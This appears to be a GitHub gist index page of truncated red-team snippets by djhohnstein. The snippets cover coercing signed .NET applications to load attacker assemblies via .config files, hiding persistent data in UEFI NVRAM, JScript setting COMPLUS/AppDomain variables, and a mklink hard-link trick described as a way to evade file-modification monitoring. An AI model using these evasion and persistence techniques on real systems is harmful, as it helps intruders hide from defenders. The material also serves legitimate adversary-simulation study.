djhohnstein

Let's turn Any .NET Application into an LOL Bin

We can do this by experimenting with .config files.

Many defenders catch/detect files that are renamed, they do this by matching Original Filename to Process Name

In this example, we don't have to rename anything. We simple coerce a trusted signed app to load our Assembly.

We do this by directing the application to read a config file we provide.

djhohnstein

using System;
using System.Net;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;

/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause

djhohnstein

GospelRoom: Data Storage in UEFI NVRAM Variables

Behaviour

Persist data in UEFI NVRAM variables.

Benefits

1. Stealthy way to store secrets and other data in UEFI.
2. Will survive a reimaging of the operating system.

djhohnstein

new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\\Windows\\System32\\Tasks';
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = "mydll, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null"
//new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = "MyAppDomainManager";
new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';


var manifest = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3"> <dependency><dependentAssembly>        <assemblyIdentity name="tasks" version="0.0.0.0"/>      </dependentAssembly> </dependency>	<assemblyIdentity name="tasks" type="win32" version="0.0.0.0" /><description>Built with love by Casey Smith @subTee </description><clrClass   name="MyDLL.Operations"   clsid="{31D2B969-7608-426E-9D8E-A09FC9A5ACDC}"   progid="MyDLL.Operations"   ru

djhohnstein

#
# Usage:
#    PS> . .\Cleanup-ClickOnce.ps1
#    PS> Cleanup-ClickOnce -Name MyAppName
#
# Other than that you might also try using these commands:
#    PS> rundll32 dfshim.dll,ShArpMaintain C:\Path\To\ClickOnce.application
#    PS> rundll32 dfshim.dll CleanOnlineAppCache
#

djhohnstein

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;

using System.Reflection;
using System.Reflection.Emit;

using System.Collections;
using System.Collections.Generic;

djhohnstein

Using Hard Links to point back to attacker controlled location.

mklink /h C:\Windows\System32\Tasks\tasks.dll C:\Tools\Tasks.dll
Hardlink created for C:\Windows\System32\Tasks\tasks.dll <<===>> C:\Tools\Tasks.dll

This can redirect the search to an arbitrary location and evade tools that are looking for filemods in a particular location.

xref: https://googleprojectzero.blogspot.com/2015/12/between-rock-and-hard-link.html

djhohnstein

sing System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
 
 
  
/*
Author: Casey Smith, Twitter: @subTee

djhohnstein

<?XML version="1.0"?>
<scriptlet>

<registration
    description="Bandit"
    progid="Bandit"
    version="1.00"
    classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
	>

djhohnstein

/*!
 *
 * RPROXICMP
 *
 * GuidePoint Security LLC
 *
 * Threat and Attack Simulation Team
 *
!*/